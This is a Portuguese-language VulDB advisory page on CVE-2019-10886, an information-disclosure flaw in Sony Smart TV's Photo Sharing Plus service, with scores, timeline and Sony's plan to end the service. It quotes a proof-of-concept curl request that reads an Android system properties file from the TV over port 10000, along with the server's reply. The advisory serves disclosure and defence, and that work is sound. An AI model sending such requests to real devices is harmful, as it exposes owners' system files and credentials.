VDB-134184 · CVE-2019-10886 · BID 108072

Sony Smart TV Photo Sharing Plus LJYT0010.JPG Credentials Divulgação de Informação

CVSS Meta Pontuação Temporária	Preço atual do exploit (≈)	Nota de Interesse CTI
5.4	$0-$5k	0.00

Sumárioinformação

Uma vulnerabilidade foi encontrada em Sony Smart TV. Foi declarada como problemático. Afectado é uma função desconhecida do ficheiro /contentshare/image/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/LJYT0010.JPG do componente Photo Sharing Plus. A manipulação resulta em Divulgação de Informação (Credentials). A vulnerabilidade é identificada como CVE-2019-10886. Existe a possibilidade de executar o ataque de forma remota. Além disso, há uma exploração disponível. É recomendado desabilitar o componente afetado.

Detalhesinformação

Uma vulnerabilidade foi encontrada em Sony Smart TV. Foi declarada como problemático. Afectado é uma função desconhecida do ficheiro /contentshare/image/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/LJYT0010.JPG do componente Photo Sharing Plus. A manipulação resulta em Divulgação de Informação (Credentials). Ao utilizar CWE para declarar o problema, isso direciona para CWE-200. A falha foi descoberta em 03/10/2018. Esta vulnerabilidade foi publicada 23/04/2019 com xen1thLabs como Multiple vulnerabilities in Sony Smart TVs como Mailinglist Post (Bugtraq) via HackerOne. O aconselhamento é partilhado para download em seclists.org. O vendedor cooperou na coordenação do lançamento público.

A vulnerabilidade é identificada como CVE-2019-10886. A atribuição do CVE aconteceu em 05/04/2019. Existe a possibilidade de executar o ataque de forma remota. Os detalhes técnicos estão disponíveis. A vulnerabilidade não é bem conhecida. Além disso, há uma exploração disponível. A exploração foi divulgada ao público e pode ser utilizada. No momento, o preço atual de um exploit pode estar em torno de USD $0-$5k atualmente. Esta vulnerabilidade é atribuída a T1592 pelo projecto MITRE ATT&CK.

Encontra-se declarado como prova de conceito. É possível descarregar a exploração em seclists.org. A falha permaneceu como um exploit zero-day não divulgado durante pelo menos 202 dias. Como 0-day, o preço estimado no mercado clandestino era em torno de $5k-$25k. O código utilizado pela exploração é:

root@kali:~# curl -v http://192.168.1.102:10000/contentshare/image/default.prop
Trying 192.168.1.102...
TCP_NODELAY set
Connected to 192.168.1.102 (192.168.1.102) port 10000 (#0)
> GET /contentshare/image/default.prop HTTP/1.1
> Host: 192.168.1.102:10000 
> User-Agent: curl/7.58.0
> Accept: /
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Length: 591
< Content-Type: application/octet-stream
<

ADDITIONAL_DEFAULT_PROPERTIES
#
ro.secure=1
security.perf_harden=1
ro.allow.mock.location=0
ro.debuggable=0 ro.zygote=zygote32
dalvik.vm.image-dex2oat-Xms=64m
dalvik.vm.image-dex2oat-Xmx=64m
dalvik.vm.dex2oat-Xms=64m dalvik.vm.dex2oat-Xmx=512m
ro.dalvik.vm.native.bridge=0 debug.atrace.tags.enableflags=0 

BOOTIMAGE_BUILD_PROPERTIES 

ro.bootimage.build.date=2016? 11? 14? ??? 15:34:56 JST ro.bootimage.build.date.utc=1479105296     
ro.bootimage.build.fingerprint=Sony/BRAVIA_ATV2_PA/BRAVIA_ATV2:6.0.1/MMB29V.S50/1.6.0.06.14.0.00:user/release-keys 
persist.sys.usb.config=none

Closing connection 0

É recomendado desabilitar o componente afetado. A recomendação traz a seguinte observação:

Sony confirms the vulnerabilities affects some models and "Sony plans to terminate Photo Sharing Plus service for all of models, and that completion date is scheduled for April 12th, 2019."

Produtoinformação

Tipo

Digital Media Player

Fabricante

Sony

Nome

Smart TV

Licença

comercial

CPE 2.3informação

🔍

CPE 2.2informação

🔍

CVSSv4informação

VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

CVSSv3informação

VulDB Meta Pontuação Base: 5.5
VulDB Meta Pontuação Temporária: 5.4

VulDB Pontuação Base: 5.3
VulDB Pontuação Temporária: 4.9
VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

Pessoa Pontuação Base: 5.3
Pessoa Vetor: 🔍

NVD Pontuação Base: 5.9
NVD Vetor: 🔍

CVSSv2informação

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexidade	Autenticação	Confidencialidade	Integridade	Disponibilidade
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear

VulDB Pontuação Base: 🔍
VulDB Pontuação Temporária: 🔍
VulDB Fiabilidade: 🔍

NVD Pontuação Base: 🔍

Exploraçãoinformação

Nome: Credentials
Classe: Divulgação de Informação / Credentials
CWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Físico: Não
Local: Não
Remoto: Sim

Disponibilidade: 🔍
Acesso: Público
Estado: Prova de conceito
Descarregar: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Tendência de preços: 🔍
Estimativa de preço atual: 🔍

0-Day	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Hoje	Desbloquear	Desbloquear	Desbloquear	Desbloquear

Inteligência de ameaçasinformação

Interesse: 🔍
Atores ativos: 🔍
Grupos APT ativos: 🔍

Contramedidasinformação

Recomendação: Desativar
Estado: 🔍

Tempo 0-dia: 🔍
Tempo de atraso de exploração: 🔍

Firewalling: 🔍

Linha do tempoinformação

03/10/2018 🔍
10/10/2018 +7 dias 🔍
12/10/2018 +2 dias 🔍
05/04/2019 +175 dias 🔍
23/04/2019 +18 dias 🔍
23/04/2019 +0 dias 🔍
29/04/2019 +6 dias 🔍
13/06/2024 +1872 dias 🔍